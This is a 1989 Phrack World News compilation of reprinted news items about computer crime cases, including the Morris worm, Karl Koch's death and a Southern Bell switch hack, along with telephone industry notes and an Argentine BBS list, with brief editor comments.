Written by Vanessa Jo Grimm (Goverment Computer News)(Page 6)
The U.S. attorney for Washington is reviewing an allegation that a Customs
Service official violated the Computer Security Act [PL 100-235 presumably] by
altering a computer's internal clock.
Treasury Department Inspector General Michael R. Hill referred the allegation
to the prosecutor after an investigation into year-end spending by Custom
officials at the close of Fiscal Year 1988. The allegation involves an
official who may have authorized altering the date maintained by the computers
that the agency uses for procurement documents, according to Maurice S. Moody,
the Inspector General's audit director for Financial Management Service.
Moody recently told the House Ways and Means Subcommittee on Oversight the
computers are part of the agency's Automated Commercial System. He declined to
provide Government Computer News with more details.
Allegedly the computer clock was rolled back during the first three days of
October of 1988 so that $41.8 million in procurement obligations would be dated
in September against fiscal year 1988 appropriations, Moody said.
An inspector general report issued in late February concluded Customs had not
violated any procurement laws. The inspector general's investigation is
continuing, however.
"Doesn't $41.8 million worth of procurement on the last day of the fiscal year
bother anybody?" asked Rep. Richard T. Shulze (R-Pa). The purchases did bother
the inspector general, Moody said, and this concern led to getting the United
State attorney attorney. "This problem is endemic in the federal government,"
he said. "Year-end spending is very common."
William F. Riley, Customs controller, said he knew about the rollback, but he
and Deputy Commissioner Michael H. Lane refused to say who authorized the
action... Subcommittee members continued to press Riley and Lane. "Is the
person still at Customs?" asked subcommittee chairman J. J. Pickle (D-Texas).
He is working full time and in the position he was at the time," Lane answered.
Rep. Beryl F. Anthony, Jr. (D-Ark) asked how Riley became aware of the
rollback. "He (the official who authorized the rollback) told me that it was
going to be done," Riley said.
Rep. Pickle suggested that a high ranking official would have to authorize such
an action, but Counsel advised Lane not to reply. He did say neither he nor
Commissioner von Raab had made the decision.
The balance of the article deals with the actions of Linda Gibbs, who became
aware of the incident and reported it to the inspector general after being
unable to stop the action. Gibbs also alleged that the action was intended to
use available year-end money to cover cost overrun on a contract with Northrop
Corp. She also alleged that she had been reassigned and given no new duties.
_______________________________________________________________________________
==Phrack Inc.==
Volume Three, Issue 27, File 11 of 12
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN PWN
PWN P h r a c k W o r l d N e w s PWN
PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~~ PWN
PWN Issue XXVII/Part 2 PWN
PWN PWN
PWN June 20, 1989 PWN
PWN PWN
PWN Created, Written, and Edited PWN
PWN by Knight Lightning PWN
PWN PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
Robert T. Morris Suspended From Cornell May 25, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Taken from the New York Times
Cornell University has suspended the graduate student identified by school
officials as the author of "the Internet worm."
In a May 16th letter to Robert Tappan Moris, age 23, the dean of the Cornell
University Graduate School said a university panel had found him guilty of
violating the school's Code of Academic Integrity.
He will be suspended until the beginning of the fall semester of 1990, and then
could reapply.
No criminal charges have been filed against Morris. A federal grand jury this
year forwarded its recommendations to the Justice Department, which has not
taken any action.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Justice Department Wary in Computer Case May 28, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Matthew Spina (Syracuse Herald-American)
"Is Washington Fearful Of Losing A Landmark Trial?"
Some computer experts theorize that the Justice Department, afraid of bungling
what could become a landmark computer case, still doesn't know how to treat the
Cornell student whose computer worm slithered nationwide in November, 1988.
A further concern in Washington: A trial in the case might embarrass the
Department of Defense if its scientists are asked to detail how their computers
were among the thousands crippled by the worm.
For several months, the decision on how to charge 23-year-old Robert T. Morris,
Jr. had been before Mark Richard, a deputy assistant attorney general. Within
the last few weeks, Richard made a decision that now is being reviewed by an
assistant attorney general, according to a computer professional who has been
talking with the Justice Department.
"I thought we would have heard something from Washington by now," said Andrew
Baxtoer, the assistant U.S. attorney who in November and December presented the
case to a grand jury in Syracuse.
The grand jury's report was sent on the the Justice Department, which refuses
to comment publicly on the matter because Morris has not been indicted.
"Within the next two weeks I assume that a decision will be made," said one
official.
"If they decide to begin an expensive trial, they have to make sure they win so
as not to damage future attempts to prosecute under that law," said Eugene H.
Spafford, an assistant professor at Purdue University whose analysis of the
worm has helped federal investigators. "If they decide not to prosecute, and
the total thing that happens is he gets suspended (from Cornell), I will be
outraged."
So far, Cornell has taken the only disciplinary measure against Morris,
suspending him for the 1989-90 academic year. But the graduate student left
the computer science department early in November, the day after the worm
spread out of a computer in Upson Hall.
Morris, a computer science graduate student, has been called the author of a
rogue computer program, called a worm, that was spread from a Cornell
University computer. The program was designed to reproduce and infect any
computer linked to the Internet, a network shared by colleges, research centers
and military institutions.
However, experts say an error caused the program to replicate out of control,
sending thousands of copies into thousands of computers.
If Morris is to be charged with a felony, prosecutors would then have to show
he intended to destroy or extract information.
Proving that would be difficult since the program neither destroyed nor removed
information from any computer.
To convict Morris on most lesser charges, prosecutors would have to show he
intended to harm computers.
Prosecutors also could use a misdemeanor charge requiring them to prove only
that Morris gained access to a federal government computer. The worm did reach
computers at the Army Ballistics Research Laboratory and NASA's Langley
Research Center, among others.
Some computer experts wonder, though, if Defense Department officials will be
reluctant to testify publicly about how their computers were penetrated -- even
those computers holding non-classified information. In February, at a computer
convention in San Diego, Defense Department computer experts detailed some
security improvements made to the network since November, but then refused to
release copies of their presentation to people at the seminar.
The FBI -- which enforces the Computer Fraud and Abuse Act of 1986 -- and some
people in the computer industry are pushing for a vigorous prosecution to
display a strong case against computer hacking. Others in the industry,
including some of Morris' friends from Harvard University and Cornell, urge
leniency because he was trying to demonstrate security flaws with computers.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Other articles about Robert Tappan Morris, Jr. and the Internet Worm are;
"Computer Network Disrupted By 'Virus'" (11/03/88) PWN XXII/Part 2
"Virus Attack" (11/06/88) PWN XXII/Part 2
"The Computer Jam: How It Came About" (11/08/88) PWN XXII/Part 2
"US Is Moving To Restrict {...} Virus" (11/11/88) PWN XXII/Part 2 *
"FBI Studies Possible Charges In Virus" (11/12/88) PWN XXII/Part 2
"Big Guns Take Aim At Virus" (11/21/88) PWN XXII/Part 3
"Congressman Plan Hearings On Virus" (11/27/88) PWN XXII/Part 3
"Pentagon Severs Military {...} Virus" (11/30/88) PWN XXII/Part 3 *
"Networks Of Computers At Risk From Invaders" (12/03/88) PWN XXII/Part 4 *
"Computer Virus Eradication Act of 1988" (12/05/88) PWN XXII/Part 4 *
"Breaking Into Computers {...}, Pure and Simple" (12/04/88) PWN XXIV/Part 1 *
"Cornell Panel Concludes Morris {...} Virus" (04/06/89) PWN XXVI/Part 1
* - Indicates that the article was not directly related to Robert Morris, but
did discuss him as well as the Internet Worm incident.
_______________________________________________________________________________
SouthernNet's Anti-Hacker Psychological Con Game April 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
WARNING! Your call is being intercepted!
Error: Setting may not be changed by callers.
Welcome to: S o u t h e r n N e t I n c.
You have reached the SouthernNet Fraud Department, the authorization code you
are attempting to use is not valid. Hacking and illegal use of codes are
violations of state and federal laws.
We are currently conducting an investigaion for code abuse in your area and we
are coordinating the investigation with law enforcement authorities. Persons
identified hacking or abusing codes will be prosecuted to the full extent of
the law.
I'll see you soon,
Hacker Tracker
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Hold for additional information:
Hacker Tracker is unavailable right now; however, you may avoid possible arrest
and/or prosecution by calling Hacker Tracker in person.
You may contact Mr. Tracker between the hours of 9:00 AM and 5:00 PM Eastern
Standard Time, Monday - Friday, simply by dialing the access number you have
just used and code number 101010 or 011010 if the access you have used
requires a seven digit code. Just hold the line for 10 seconds and your call
will automatically be routed to Mr. Tracker at no charge to you.
This is *NOT* a trick and it will be the intention of SouthernNet Inc. to
settle this matter without involving law enforcement authorities if you
cooperate with our fraud department 100%.
It will certainly be to your advantage to contact Mr. Tracker as this will
reflect your own decision to assist and avoid prosecution by our company!!!
I'll be expecting your call.
Hacker Tracker
Hold a sec... Engaging Auto Page for Hacker Tracker...
50 seconds till disconnect
40 seconds till disconnect
30 seconds till disconnect
20 seconds till disconnect
10 seconds till disconnect
5 seconds till disconnect
NO CARRIER
[Do you think anyone believed this and actually called "Hacker Tracker?" -KL]
_______________________________________________________________________________
What's Happening: Computer Security Up June 4, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Taken from Gannett Westchester Newspapers
[Comments in brackets from Delta-Master]
High-tech companies are spending 64% more [than they previously spent] on
computer security, according to a recent survey conducted by the National
Center for Computer Crime Data in Los Angeles. The group surveyed 3,500 law
enforcement agencies and computer security experts about computer crime. The
prosecution rate is also up -- 6.4% in 1988 from only 2.4% during 1987.
Contrary to popular image, computer hackers aren't always young boys. The
study found that 32% of those arrested for computer crimes were female, while
only 14% were under 21. The study said 45% of hackers were 25 to 30 years old.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Comments from Delta-Master
~~~~~~~~~~~~~~~~~~~~~~~~~~
I do not know about you people, but the public's confusion about hackers starts
to bother me when they make errors. Seriously, I know of only a few hackers
over the age of 21. The fact that the newspapers also equate the thug-like
computer criminals with the mastermind-criminal type hacker (you guys) is also
pretty annoying, wouldn't you agree? One key phrase you must note: "32% OF
THOSE ARRESTED." Oh well, such are the mistakes of newspapers.
_______________________________________________________________________________
Public Service Commission Bans Operator Companies April 24, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By Jerri Stroud (St. Louis Post-Dispatch)
The Missouri Public Service Commission voted 4-1 last week to ban providers of
so-called alternative operator services in Missouri because allowing the
companies to operate is "not in the public interest."
Alternative operator services companies contract with hotels, motels colleges,
hospitals, airports, restaurants and other facilities to provide operator
assistance to customers using pay telephones or house phones. Consumer groups
have complained about price-gouging by the companies nationwide.
Mark Wheatley, a lawyer for the Office of Public Council, praised the
commission's decision.
The Office of Public Council has received numerous complaints about excessive
rates and surcharges by alternative operator services companies, said Wheatley.
Some alternative operator services companies also have accepted other
companies' credit cards without authorization from the companies issuing the
cards, he said.
"We feel that it's an extremely important decision by the commission." said
Wheatley. But he said he expects the companies affected by the ruling to
appeal.
Lawyers for the alternative operator services companies could not be reached
for comment.
In it's ruling, the commission said many consumers aren't aware of the rates
charged by the alternative operator services companies until they receive "a
bill for operator services at prices higher than those to which he is
accustomed." Consumer groups say the rates often are twice or three times the
rates charged by better-known long-distance companies.
Even if an operator service company identifies itself when a consumer makes a
call, the commission said many consumers don't understand the significance of
the identification.
"If the end user is not educated as to the intricacies of using an alternative
operator services provider, he does not truly have a meaningful choice..." the
commission said.
The ruling only affects intrastate calls handled by alternative operator
services companies, but it may effectively prevent the companies from providing
interstate service as well.
The commission specifically denied tariff requests from International
Telecharge Inc. and American Operator Services Inc. The commission also
directed three other companies -- Teleconnect Inc., Dial US, and Dial USA -- to
file new tariffs consistent with the ruling.
The ruling allows companies to operate who provide operator services in
connection with their business -- long-distance carriers and local telephone
companies, for example. But the commission also placed limits on these
companies.
Under the ruling, operator services companies must:
* Identify themselves to the caller as well as to the party being billed
by the call (in the case of a collect or third-party call).
* Quote rates to the caller or billed party on request, without charge.
* Use calling card verification procedures acceptable to the companies
issuing the cards.
* Post in a prominent position the company's name, detailed complaint
procedures and instruction on how to reach the local telephone company
operator and other long-distance carriers.
* Transfer emergency traffic to the local telephone company or American
Telephone & Telegraph Co. until the alternative services provider can
show that it can handle emergency calls adequately.
_______________________________________________________________________________
Fax Attack May 13, 1989
~~~~~~~~~~
Taken from The Ann Arbor News
"Governor's Attempt To Ban Unsolicited Advertisements Backfires!"
HARTFORD, Conn - The great fax attack of 1989 -- an all-out lobbying campaign
against a bill banning unsolicited facsimile advertising -- may have backfired
when the governor's fax machine was jammed for hours with unwanted messages.
Starting Thursday, May 11, and continuing Friday, May 12, Governor William A.
O'Neill's fax machine has been beeping constantly, spitting out unwanted
messages from angry businesses that advertise by fax.
The businesses oppose a bill now awaiting O'Neill's signature that would
prohibit them from marketing their products by fax without first obtaining the
permission of the recipient. Violators would face a $200 fine.
Starting Thursday morning, dozens of Connecticut businesses faxed to O'Neill's
office a form letter arguing against the fax ban. The stream of fax messages
was so constant (40 came in before 10 AM) that the governor's office turned off
the fax machine Thursday (May 11).
O'Neill's press secretary, Jon. L. Sandberg, said the governor still hasn't
decided whether he will sign the bill. But aides to the governor said the
persistent lobbying campaign proved how annoying unwanted messages can be. The
inconvenience was compounded because the governor's office was unable to use
its fax machine to receive information about spring flooding around the state.
_______________________________________________________________________________
NYNEX Announces Info-Look Gateway April 28, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Introducing a new service for accessing information and more... all through
your personal computer!
Starting in May 1989, New York Telephone's INFO-LOOK (tm) Gateway Service can
be your link to accessing a variety of information, products and services.
The INFO-LOOK Gateway simplifies on-line computer access to a variety of
information providers. When you call the Gateway phone number through your
modem, you'll be able to scan a menu of information services.
The types of information services you may choose from include: Entertainment,
business, health, food, news, weather, sports, travel, government, educational
and reference information. The services, some interactive, are provided by
independent companies.
The INFO-LOOK Gateway is easy to use -- even if you're relatively new to using
a PC.
What you'll need to use the INFO-LOOK Gateway
1. Virtually any type of personal computer.
2. A modem (300, 1200, or 2400 Baud), and communications software. This
enables your computer to communicate with other computers via the telephone
system.
3. A New York Telephone Calling Card. If you need a New York Telephone
Calling Card, (it's FREE), call your service representative whose number
appears on page one of your New York Telephone bill.
Charges for using the INFO-LOOK Gateway
There are ** no ** Gateway enrollment fees and ** no ** monthly subscription
charges. In most cases, you will be charged (New York people only):
o A local call to reach the INFO-LOOK Gateway.
o While you're browsing the Gateway directory of services, or moving between
services, you pay $.05 a minute.
o Once you connect to a service, the charge is determined by the Service
Provider. Some services have a per-minute usage charge. Some services are
free. The charges for each service are listed in the Gateway menu.
You'll find most charges itemized on your monthly New York Telephone bill.
Some Service Providers may decide to bill you separately and directly for use
of their services.
Call for more information:
To get your free INFO-LOOK Gateway information booklet call (toll- free)
1-800-338-2720, Ext. 20, any day from 9 a.m. to 11 p.m.
Note: New York Telephone does not provide or control the services offered
through the INFO-LOOK Gateway Service. They are provided by independent
companies, which are responsible for the content, character, and quality
of their services.
The predictions run $5 billion now and another $5-10 billion by 1991.
[INFO-LOOK is already operating in Bell South and Bell Atlantic.]
_______________________________________________________________________________
Pacific Bell Plans Access To Computers June 9, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Taken from Santa Cruz Sentinel (Section B)
SAN FRANCISCO (AP) -- Pacific Bell said Thursday it hopes to compete with the
popularity of television by offering people easy access to computerized
libraries, bulletin boards and the use of electronic mail.
PacBell's California On-line -- which will be available to anybody with a
personal computer, telephone and calling card -- will be among the first in the
nation to use a graphic-based system that simplifies procedures so only a
rudimentary familiarity with computers is needed.
"It's going to offer our customers a supplement to their current leisure
activities... and among other things we've seen (in trials) a lot of people
who got away from the TV," said Roger P. Conrad, director of Videotex Gateway
Services.
"We feel this is a more productive way for people to spend their lives and we
think a lot of users are going to agree," he added. Users will pay
"info-entrepreneurs" fees based on the time they use various services and will
be billed on their monthly telephone statements. Unlike some on-line
information services, users do not have to subscribe ahead of time.
Conrad said the types of services are limited only by vendors' imaginations.
PacBell will make money by selling telecommunication line use to the companies.
_______________________________________________________________________________
Bulletin Boards Of Argentina June 5, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Country Code = 54 (Argentina)
City Code = 1 (Buenos Aires)
This list might be slightly incorrect due to the passage of time. The last
update was on December 23, 1986.
Name Hours Of Operation ======= Number=
----
Beta 23:00 - 6:30 802-0288
C-Mania 21:00 - 7:00 362-8843
CBM 16:00 - 12:00 90-4988
Century 21 24 hours 632-7070
Cerebruss 24 hours 47-2717
Cerebruss Information ? 48-8300
48-9886
Databank ? 44-9760
Drean Conection ? 953-2523
Los Pinos 13:00 - 19:00 21-0375
Magenta ? 392-0124
Magenta ? 392-0016
Maxes 23:00 - 7:00 542-2695
Mendieta 22:00 - 8:00 654-6999
Pirates Cove 24:00 - 6:00 783-5023
Sanctuary 24:00 - 3:00 641-4608
Soft-work 22:30 - 9:00 88-2065
TCConection 19:00 - 12:00 22-4197
The Connection 24 Hours 82-5780
The Hacker 23:00 - 7:00 748-2005
Tiger ? 784-2226
XCASA ? 611-8136
BBS-IOM 24 Hours 804-3602
Note: The settings for all systems listed above are Even, 7, 1.
Contributed by Noli
_______________________________________________________________________________
==Phrack Inc.==
Volume Three, Issue 27, File 12 of 12
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN PWN
PWN P h r a c k W o r l d N e w s PWN
PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~~ PWN
PWN Issue XXVII/Part 3 PWN
PWN PWN
PWN June 20, 1989 PWN
PWN PWN
PWN Created, Written, and Edited PWN
PWN by Knight Lightning PWN
PWN PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
One of Cliff Stoll's "Wily Hackers" Is Dead (Suicide?) June 5, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
According to West German publications, the "Wily Hacker" Karl Koch, of
Hannover, West Germany, died Friday, June 3, probably by suicide. His body was
found burnt (with gasoline) to death, in a forest near Celle (a West German
town near Hannover where he committed his hacks, as had been observed by German
Post).
Koch was one of the 2 hackers who confessed their role in the KGB hack to the
public prosecutors, therewith bringing the case to public attention. As German
newspapers report, he probably suffered from a psychic disease: He thought he
was permanently observed by alien beings named Illimunates' which tried to kill
him. Probably, he had internalized the role of "Captain Hagbard" (his
pseudonym in the hacking scene), taken from a U.S. book, who (like him)
suffered from supervision by the Illuminates. Police officials evidently think
that Koch committed suicide (though it is believed, that there are "some
circumstances" which may also support other theories; no precise information
about such moments are reported).
According to German police experts, Karl Koch's role in the KGB case as in
daily life can properly be understood when reading this unknown book.
Information Provided by Klaus Brunnstein
(University of Hamburg)
[Illuminates... KGB... whatever... -KL]
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Illuminatus! June 14, 1989
~~~~~~~~~~~~
The book in question is believed to be "Illuminatus!" by Harold Shea and Robert
Anton Wilson. The book is a spoof on conspiracy theories, and suggests that
many and probably all human institutions are just fronts for a small group of
"enlightened ones," who are themselves a front for the Time dwarves from
Reticuli Zeta, or perhaps Atlantean Adepts, remnants of Crowley's Golden Dawn,
or even more likely the Lloigor of H.P. Lovecraft's Cthulhu Mythos. A leading
character in this book is named Hagbard Celine.
"Illuminatus!" is a fun read if you like psychedelia and paranoia. It also
seems to have influenced a lot of subsequent work, most notably Adams'
"Hitchhiker's Guide to the Galaxy." It is easy to see how an unbalanced mind,
taking it literally, could be completely absorbed. In fact "Illuminatus!"
seems as if it was written with the intent of just this sort of programming,
referring to it as "Operation Mindfuck."
This is probably not a real danger for the vast majority of sane adults, but it
may, tragically, have been the case here. Or perhaps, no disrespect intended,
Koch may in the course of various hacks really have discovered too much about
the Illuminati. After all, they are supposed to be the secret power behind the
KGB :-)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
For more information on Clifford Stoll and the Wily Hackers of West Germany,
please see:
"Who Is Clifford Stoll?" (No Date) Phrack World News issue XXII/Part 1
"A Message From Clifford Stoll" (1/10/89) Phrack World News issue XXIII/Part 2
And the following articles all found in Phrack World News issue XXV/Part 2:
"German Hackers Break Into Los Alamos and NASA" (3/2/89)
"Computer Espionage: Three 'Wily Hackers' Arrested" (3/2/89)
"Computer Spy Ring Sold Top Secrets To Russia" (3/3/89)
"KGB Computer Break-Ins Alleged In West Germany" (3/3/89)
"News From The KGB/Wily Hackers" (3/7/89)
_______________________________________________________________________________
Sex Put On Probation By Mystery Hacker June 13, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ft. Lauderdale News and Sun-Sentinel
"Yes, you sound very sexy, but I really need a probation officer."
DELRAY BEACH, Fla. -- Callers trying to dial a probation office in Delray
Beach, Fla on Monday, June 12, heard a smorgasbord of sex talk from a panting
woman named Tina instead.
Southern Bell telephone officials said a computer hacker reprogrammed their
equipment over the weekend, routing overflow calls intended for the local
probation office to a New York-based phone sex line.
"People are calling the Department of Corrections and getting some kind of sex
palace," said Thomas Salgluff, a spokesman for the Palm Beach County probation
office.
Southern Bell officials said it was the first time their switching equipment has
been reprogrammed by an outside computer intruder. Southern Bell provides
local telephone service in Florida, Georgia, North Carolina, and South
Carolina.
"We're very alarmed," said Southern Bell spokesman Buck Passmore. He said such
a feat would require someone with considerable computer knowledge.
The implications of such a computer breach are considerable. Intercepting
corporate communications, uncovering unlisted phone numbers, and tampering with
billing information are all plausible consequences of computer security
breaches at the the phone company.
Hackers have invaded Southern Bell in the past, but they have never
reprogrammed a telephone link, Passmore said.
Security technicians from Southern Bell and AT&T are trying to trace the source
of the computer breach, Passmore said.
_______________________________________________________________________________
Hacking For A Competitive Edge May 12, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Taken from the Los Angeles Times
Two former Tampa, FLA TV news managers have been charged with illegally tapping
into phone lines and computers at another station to gain a news edge over
their competitors. Former new director Terry Cole and assistant news director
Michael Shapiro at WTSP-TV have been charged with 17 counts of computer hacking
and conspiracy in the theft of information from WTVT-TV through computer phone
lines, authorities said. Their arraignment was set for May 19.
If convicted, each could face a maximum prison sentence of 85 years. The two
were fired from WTSP when the station learned of the alleged thefts. The
break-ins began in November, 1988, but were not noticed until January 12, 1989,
when WTVT's morning news producer noticed that files were missing, authorities
said.
Computer experts determined that an intruder had rifled the files. Authorities
said Shapiro knew WTVT's security system thoroughly because he had helped set
it up while working there as an assignment manager before being hired away from
WTVT in October.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TV News Executives Fired After Hacking Charges From Rival
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Tampa, Fla. -- A Florida television station fired two news executives in the
wake of reports that one of them allegedly penetrated a rival station's
computer system and stole sensitive information.
WTSP-TV (Channel 10), an ABC affiliate in St. Petersburg, announced that it had
fired Assistant News Director Michael Shapiro and News Director Terry Cole.
Shapiro was arrested on February 7th on felony charges for allegedly breaking
into a computer system at WTVT-TV (Channel 13) on at least six occasions in
January. He was once employed by WTVT as an assistant manager and was
responsible for administering the station's computer systems.
Law enforcement officials seized from Shapiro's home a personal computer, 200
floppy disks and an operating manual and user guide for software used at the
rival station.
He has been charged with 14 felony counts under Florida Statute 815, which
covers computer-related crimes. Each count carries a maximum sentence sentence
of 15 years and a $10,000 fine.
Vince Barresi, WSTP's vice-president and general manager, refused to comment on
the two firings. However, in a prepared statement, he said that he told
viewers during an 11 PM newscast last Tuesday that the station acted to "avoid
any questions about the objective way we do our business in keeping the public
informed."
Cole, who hired Shapiro last September, has not been charged by Florida law
enforcement officials. He was fired, according to one source, because as
director of the news room operations, he is held ultimately for the actions of
news staffers. Shapiro and Cole were unavailable for comment.
[Another story that discussed this case was "Television Editor Charged In Raid
On Rival's Files" (February 8, 1989). It appeared in Phrack World News Issue
XXIV/Part 2. -KL]
_______________________________________________________________________________
National Crime Information Center Leads To Repeat False Arrest May 14, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by James Rainey (Los Angeles Times)
Mix ups with the databases at the NCIC have caused Roberto Perales Hernandez to
be jailed twice in the last three years as a suspect in a 1985 Chicago
residential burglary. The authorities confused him with another Roberto
Hernandez due to a single entry in the FBI's National Crime Information Center
computer.
The two Roberto Hernandezes are the same height, about the same weight, have
brown hair, brown eyes, tattoos on their left arms, share the same birthday,
and report Social Security numbers which differ by only one digit!
The falsely imprisoned man has filed suit charging the Hawthorne, California
Police Department, Los Angeles County, and the state of California with false
imprisonment, infliction of emotional distress, and civil rights violations
stemming from the most recent arrest last year.
He had previously received a $7,000 settlement from the county for holding him
12 days in 1986 before realizing he was the wrong man. In the latest incident,
he was held for seven days then freed with no explanation.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Another False Incarceration May 18, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~
In his testimony on May 18, 1989 to the Subcommittee on Civil and
Constitutional Rights of the Committee on the Judiciary of the U.S. House of
Representatives, relating to the National Crime Information Center, David D.
Redell cited another case of false incarceration concerning Roberto Perales
Hernandez as well as various cases noted earlier -- such as that of Terry Dean
Rogan [see below]:
"Only last week, a case in California demonstrated the potential
benefit of easy access to stored images. Joseph O. Robertson had
been arrested, extradited, charged, and sent to a state mental
facility for 17 months. During that entire time, mug shots and
fingerprints were already on file showing clearly that he was the
wrong man, but no one had taken the trouble to check them."
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
These articles show clear examples of the damage and problems caused by this
"super" database. People like William Bayse (Federal Bureau of Investigation's
Director For Technical Services) and William Sessions (Director of the FBI)
either fail to realize this or perhaps they just do not care (as long as
something similar does not happen to them).
For those of you who are interested in looking into this further, the first
article about this NCIC database was; "'Big Brotherish' Data Base Assailed,"
(November 21, 1988). It appeared in Phrack World News Issue XXII/Part 3.
Another incident similar to the cases mentioned above concerned Richard
Lawrence Sklar, a political science professor at the University of California
at Los Angeles. He was mistaken by the computer for a fugitive wanted in a
real estate scam in Arizona. Before the FBI figured out that they had the
incorrect person, Sklar, age 58, spent two days being strip searched, herded
from one holding pen to another, and handcuffed to gang members and other
violent offenders. For more details on this case and the case concerning Terry
Dean Rogan, please refer to "FBI National Crime Information Center Data Bank,"
(February 13, 1989) which appeared in Phrack World News Issue XXIV/Part 2 (as
well as the Washington Post).
_______________________________________________________________________________
TRW and Social Security Administration May 12, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The credit bureau of TRW has been working with the Social Security
Administration to verify its database of 140 million names and Social Security
numbers. In order to cover the cost, TRW is paying the Social Security
Administration $1 million, while Social Security Administration will provide a
matching $1 million.
Since the Social Security Administration is asking for a budget increase for
their computer and telecommunications systems, several legislators are outraged
by the fact they they are spending $1 million for this non-government project.
Claiming that the project is "as far away from the mission of the Social
Security Administration as anything I have ever come across," Senator David
Pryor (D-Ark) questioned the competence and credibility of Social Security
Administration Commissioner Dorcas R. Hardy and asked for an investigation by
the HHS inspector general.
In addition, several lawmakers such as Dale Bumpers (D-Ark) believe the project
to be a violation of civil liberties. Said Bumpers, "I don't like any public
institution releasing an individual's private information." The American Law
Division of the Congressional Research Service has already concluded that the
project is a violation of the Privacy Act of 1974.
[A related article, "Verifying Social Security Numbers," (April 11, 1989)
appeared in Phrack World News Issue XXVI/Part 3 (as well as the New York Times
on the same date). -KL]
_______________________________________________________________________________
Phrack World News XXVII Quicknotes
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. The current name assigned to the new network being created by the merger
of BITNET and CSNET is ONENET.
-------------------------------------------------------------------------------
2. NPA 903 Assigned to NE Texas (May 10, 1989) -- It was just announced that
those portions of 214 outside Dallas will be changed to 903 in the Fall of
1990.
With 708 assigned to Chicago, 903 assigned to Texas, and 908 assigned to
New Jersey, only 909 and 917 remain to be assigned before the format
changes.
-------------------------------------------------------------------------------
3. Details On New Area Code 510 (June 6, 1989) -- The press release from
Pacific Bell, quoted in the San Francisco Chronicle, gives the phase-in
dates for the new NPA 510.
Inception is scheduled for October 7, 1991, with a four-month grace period
when NPA 415 will still work for the affected numbers. Final cutover is
scheduled for January 27, 1992.
NPA 510 will encompass Alameda and Contra Costa counties, which currently
have 842,388 customers out of the current 2,005,687 customers in NPA 415.
-------------------------------------------------------------------------------
4. New Jersey Area Code To Be Split (April 27, 1989) -- The split is not
supposed to occur until 1991. The new NPA will be 908 and it will basically
cover the southern "half" of the current 201 area. The affected counties
will be Warren, Hunterdon, Middlesex, Union, Monmouth and Ocean, and the
southwest corner of Morris). Counties remaining in 201 will be Sussex,
Passaic, Bergen, Essex, Hudson, and the majority of Morris.
New Jersey Bell will also start requiring area codes on calls into New York
and Pennsylvania that have been considered part of New Jersey local calling
areas. This will apparently take effect October 2 and free up about 25
exchanges. Information from the Asbury Park Press.
[This last line somewhat contradicts the first line as far as the
dates are concerned. More information as we get it. -- KL.]
-------------------------------------------------------------------------------
5. New Area Codes For London (April 27, 1989) -- British Telecom has announced
that the area code for London is to be changed on May 6th, 1990, due to the
increased number of lines needed in the capital.
The existing code is 01-, and the new codes to be introduced are 071- for
the centre of the city and 081- for the suburbs. A list was published in
the Evening Standard, showing which exchanges will fall in which area.
-------------------------------------------------------------------------------
6. Member Learns The Hard Way: American Express Is Watching (May 4, 1989) --
This article taken from the San Jose Mercury News describes how American
Express called a member to voice their concern that he might not be able to
pay his recent bill. American Express was able to access his checking
account and find that he had less than what was owed to them. His card was
temporarily "deactivated" after the member refused to give any financial
information except that he would pay up the bill with cash when it came in.
Apparently, the card application, in finer print, declares that "[American
Express reserves] the right to access accounts to ascertain whether you are
able to pay the balance." After some arguments with the company, the
member comments that "I learned a lesson: My life is not as private as I
thought."
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7. Southwestern Bell's QuickSource (April 24, 1989) -- Southwestern Bell
Telephone Company is running a one year trial (March 1989 89 - March 1990)
of two information services: QuickSource (audiotex) and Sourceline
(videotext). The latter requires a terminal of some type, but the former
only requires a touch-tone phone for access. The QuickSource number is
323-2000, but cannot be accessed via 1+713+; SWBTCo has blocked access to
"the Houston metro area served by SWBTCo," according to the script the
woman reads to you when ask for help (713-865-5777; not blocked). The help
desk will send you a free QuickSource directory though.
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8. Telemail, MCI, AT&T Mail Interconnection (May 16, 1989) -- U.S. Sprint's
